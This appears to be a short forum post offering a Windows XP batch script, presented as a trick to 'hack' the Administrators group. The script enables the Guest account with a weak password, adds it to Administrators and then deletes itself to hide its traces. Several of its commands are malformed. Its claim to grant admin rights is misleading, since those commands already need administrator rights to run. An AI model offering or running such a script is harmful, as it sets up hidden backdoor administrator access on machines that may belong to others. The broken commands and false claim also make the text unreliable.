Hack Admin account in xp:by batch Script!!!
This is a simple trick but most of us dont know this:

Hack Administrators group:
Copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Den double click on it. This will add u in administrators group Enjoy.

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

This is how you can add administrative priviliges for guest.